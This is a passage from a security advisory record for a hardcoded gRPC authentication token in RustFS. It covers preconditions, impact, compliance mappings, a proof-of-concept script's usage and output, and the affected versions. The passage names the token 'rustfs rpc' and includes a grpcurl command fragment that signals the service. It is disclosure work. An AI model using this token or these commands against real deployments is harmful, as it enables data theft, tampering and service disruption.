-d '{\"sig\": 2}' \\\n  localhost:9000 node_service.NodeService/SignalService\n```\n\n**Impact**: Distributed system failure, data inconsistency\n\n---\n\n## Exploitation Preconditions\n\n### Required Conditions\n\n✅ **All conditions typically met in production deployments**:\n\n1. **Network Access**: Attacker can reach gRPC port (9000/TCP)\n   - RustFS binds to `0.0.0.0` by default (all interfaces)\n   - Commonly exposed for distributed node communication\n\n2. **Token Knowledge**: Token is publicly known\n   - Available in public GitHub repository\n   - Identical across all RustFS installations\n   - Cannot be changed without code modification\n\n3. **No Additional Security Controls**:\n   - No mTLS/certificate-based authentication\n   - No IP whitelisting (typically)\n   - No VPN/network segmentation requirements\n   - No rate limiting on authentication attempts\n\n### Attack Complexity\n\n**Complexity**: 🟢 **TRIVIAL**\n\n- Single `grpcurl` command with hardcoded token\n- No exploit development required\n- No timing or race conditions\n- No target-specific reconnaissance needed\n- Fully automatable\n- Works against any RustFS instance\n\n**Time to Exploit**: < 1 minute\n\n---\n\n## Security Impact\n\n### Confidentiality Impact: HIGH\n\n- **Complete Data Disclosure**: All stored objects readable via `ReadAll`/`ReadAt`\n- **Credential Exposure**: IAM users, service accounts, policies accessible\n- **Configuration Disclosure**: Server, storage, cluster configuration leaked\n- **Metrics Exposure**: Performance and usage metrics accessible\n\n### Integrity Impact: HIGH\n\n- **Data Modification**: Arbitrary data injection via `WriteAll`/`WriteStream`\n- **Metadata Corruption**: File metadata tampering via `WriteMetadata`\n- **Policy Manipulation**: IAM policies modifiable via `LoadPolicy`\n- **Configuration Changes**: Cluster replication config alterable\n\n### Availability Impact: HIGH\n\n- **Data Destruction**: Buckets/volumes deletable via `DeleteBucket`/`DeleteVolume`\n- **Service Disruption**: Service controllable via `SignalService`\n- **Cluster Degradation**: Replication corruption via `ReloadSiteReplicationConfig`\n- **Resource Exhaustion**: Arbitrary data writes, bucket creation\n\n---\n\n## Compliance & Regulatory Impact\n\n### Standards Violated\n\n#### PCI-DSS v4.0\n- **Requirement 6.5.3**: Broken authentication\n- **Requirement 8.2**: Strong authentication required\n- **Requirement 8.6**: Multi-factor authentication required\n\n#### OWASP Top 10 2021\n- **A07:2021 - Identification and Authentication Failures**\n  - Use of hard-coded credentials\n  - Missing or ineffective authentication\n\n#### CWE (Common Weakness Enumeration)\n- **CWE-798**: Use of Hard-coded Credentials (Rank: 37/400)\n- **CWE-1391**: Use of Weak Credentials\n- **CWE-287**: Improper Authentication\n\n#### NIST Cybersecurity Framework\n- **PR.AC-1**: Access control mechanisms violated\n- **PR.AC-7**: Authentication mechanisms insufficient\n\n#### SOC 2 Type II\n- **CC6.1**: Logical access controls inadequate\n- **CC6.6**: Credential management controls missing\n\n### Legal & Business Impact\n\n- **Data Breach Notification**: GDPR Art. 33, CCPA §1798.150\n- **Regulatory Fines**: GDPR up to €20M or 4% annual revenue\n- **Customer Trust**: Severe reputational damage\n- **Service Disruption**: SLA violations, customer compensation\n- **Incident Response Costs**: Forensics, remediation, legal fees\n\n---\n\n## Proof of Concept\n\n### Automated POC Script\n\n**File**: `audit_analysis/poc_cve_2025_008_grpc_token_working.sh`\n\n**Usage**:\n```bash\nchmod +x poc_cve_2025_008_grpc_token_working.sh\n./poc_cve_2025_008_grpc_token_working.sh [target_host:port]\n```\n\n**Default Target**: `localhost:9000`\n\n### POC Features\n\n1. ✅ **Baseline Authentication Testing**\n   - Verifies unauthenticated requests are rejected\n   - Verifies incorrect tokens are rejected\n\n2. ✅ **Exploit Demonstration**\n   - Authenticates using hardcoded token\n   - Calls `Ping` service successfully\n\n3. ✅ **Sensitive API Access**\n   - Accesses `ServerInfo` (configuration disclosure)\n   - Accesses `DiskInfo` (system information)\n   - Demonstrates authenticated access to management APIs\n\n4. ✅ **Detailed Reporting**\n   - Displays vulnerable code locations\n   - Lists all affected APIs (50+ methods)\n   - Provides CVSS scoring and impact analysis\n   - Includes remediation recommendations\n\n### POC Output Summary\n\n```\n[PHASE 1] Baseline Testing\n  ✓ Without token: REJECTED (Unauthenticated)\n  ✓ With wrong token: REJECTED (Unauthenticated)\n\n[PHASE 2] Exploit\n  ✓ With hardcoded token \"rustfs rpc\": ACCEPTED ✅\n\n[PHASE 3] Sensitive API Access\n  ✓ ServerInfo: SUCCESS - Configuration disclosed\n  ✓ DiskInfo: SUCCESS - System information accessible\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n## Acknowledgements\n\nWe would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rustfs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0-alpha.13"
      }, {
        "fixed" : "1.0.0-alpha.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.0-alpha.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68926"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rustfs/rustfs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.78"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-30T23:06:15Z",
    "nvd_published_at" : "2025-12-30T17:15:43Z"
  }
}